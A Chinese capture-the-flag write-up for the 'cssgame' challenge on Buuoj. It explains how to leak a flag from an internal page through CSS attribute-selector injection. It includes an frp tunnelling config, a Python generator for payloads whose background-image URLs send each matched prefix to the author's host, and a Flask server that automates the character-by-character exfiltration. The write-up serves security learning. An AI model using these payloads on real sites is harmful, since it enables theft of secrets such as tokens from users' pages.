题目中提示flag在内网web服务器上的flag.html页面中。
在页面源码中有对flag.html的格式示例。
在上方两张图片提供的信息中我们可以知道:
- flag在内网无法直接访问
- flag所在页面使用了一个可以由我们提供的css文件
- flag存储在页面中的input里
在这种可以控制css的情况下,我们可以使用css的属性选择器来进行css注入。
解法简述如下:
以input[name=flag][value^="待爆破字符串"] ~ * {background-image:url("回显host:port/已知串");}
为格式来构造爆破用css文件。第二个属性中^意为以以下字符串为开头来匹配。当匹配到正确开头的input时,此条css起到作用,访问指定路径,此时会将当前正确的串回显到本地。不断重复这一操作,直到拿到完整flag。
在Buuoj平台实操如下:
由于Buuoj平台的靶机无法直接访问到外网来获取到我们提供的css文件,我们需要使用frp来进行穿透,以使靶机可以与本地交流。
在此链接下载对应平台的frp二进制文件。
编写配置文件如下:
[common] server_addr = node3.buuoj.cn server_port = 7000 [randomhere] type = tcp local_ip = 127.0.0.1 local_port = 8000 remote_port = 999
此配置文件意为将本地8000端口映射到Buuoj的999端口。如果端口被占可以更换其他端口。
将配置文件与frpc放到同一目录,其他文件可以丢弃。
使用如下命令进行映射:
frpc.exe -c frpc.ini
映射后,靶机访问本地的地址为http://frps:999
。
核心生成爆破css代码如下:
f = open("poc.css", "w") dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: payload = '''input[name=flag][value^="'''+i + \ '''"] ~ * {background-image:url("http://frps:999/'''+i+'''");}''' f.write(payload + "\n") f.close()
使用此脚本生成一个poc.css后可在当前目录使用python -m http.server开启一个web服务器来进行测试。在题目页面输入http://frps:999/poc.css
并提交,在python命令行中看到如下输出即可认为回显成功。
即可得知第一位字母为f,将f填充进上面的生成代码中,进行下一次爆破。
由于每次手动构造过于低效,可使用如下方法来自动接收回显字符串并更新爆破用css。
from flask import Flask app = Flask(__name__) dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" result = "" @app.route('/poc.css') def payload(): global result res = '''''' for i in dic: j = ''.join((result, i)) res += '''input[name=flag][value^="'''+j+'''"] ~ * {background-image:url("http://frps:999/'''+j+'''");}\n''' return res, 200, [("Content-Type", "text/css")] @app.route('/<flag>') def all(flag): global result result = flag print(flag) return flag app.run(host='127.0.0.1', port=8000)
上方代码大意为:在poc.css
路径提供爆破用css,并在接收到回显字符串后打印已知子串且更新爆破css。但由于题目内网bot不是实时访问我们指定的文件,在题目主页的提交仍需手动进行。
实际操作如下图:
[安洵杯 2019]cssgame:等您坐沙发呢!